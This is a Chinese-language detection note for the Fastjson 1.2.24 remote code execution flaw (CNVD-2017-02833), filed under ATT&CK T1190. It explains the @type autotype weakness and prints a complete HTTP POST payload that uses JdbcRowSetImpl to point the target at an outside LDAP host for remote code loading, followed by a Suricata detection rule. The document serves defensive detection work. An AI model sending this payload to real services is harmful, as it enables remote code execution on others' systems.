T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行
来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:https://www.freebuf.com/vuls/208339.html
影响版本:Fastjson1.2.24以及之前的所有版本
检测日志
HTTP
测试复现
具体测试过程请参考:https://jishuin.proginn.com/p/763bfbd290cf
POST / HTTP/1.1
Host: 172.17.41.103:27760
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json;charset=UTF-8
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://172.17.42.24:9999/TouchFile",
"autoCommit":true
}
}
检测规则/思路
Suricata规则
alert http any any -> any any (msg:"CNVD-2017-02833-fastjson1.2.24远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"com.sun.rowset.JdbcRowSetImpl";http_client_body;reference:url,jishuin.proginn.com/p/763bfbd290cf;classtype:web-application-attck;sid:3002021;rev:1;)
建议
流量+安全设备比较容易检测到此攻击行为。
参考推荐
MITRE-ATT&CK-T1190
https://attack.mitre.org/techniques/T1190/
Fastjson‐CNVD‐2017‐02833
https://jishuin.proginn.com/p/763bfbd290cf
Fastjson<1.2.24远程代码执行(CNVD-2017-02833)
https://blog.csdn.net/weixin_43071873/article/details/109368166
Fastjson系列漏洞实战和总结